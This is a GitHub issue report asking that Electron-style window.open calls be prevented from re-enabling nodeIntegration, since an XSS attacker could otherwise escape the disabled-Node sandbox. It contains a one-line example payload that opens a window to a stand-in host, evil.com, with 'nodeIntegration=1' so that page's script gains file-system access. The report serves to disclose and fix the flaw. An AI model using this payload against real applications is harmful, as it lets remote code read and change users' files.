Skip to content

Prohibit nodeIntegration from being re-enabled with window.open #4026

Closed

Description

A developer might disable Node integration in a browser window to limit the damage that an XSS attack could cause. But if an XSS attack could open a window to its own endpoint and, when opening the window, re-enable Node integration, this is moot:

// JavaScript on 'evil.com' will be able to `require('fs')` etc.
window.open('http://evil.com', '', 'nodeIntegration=1');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions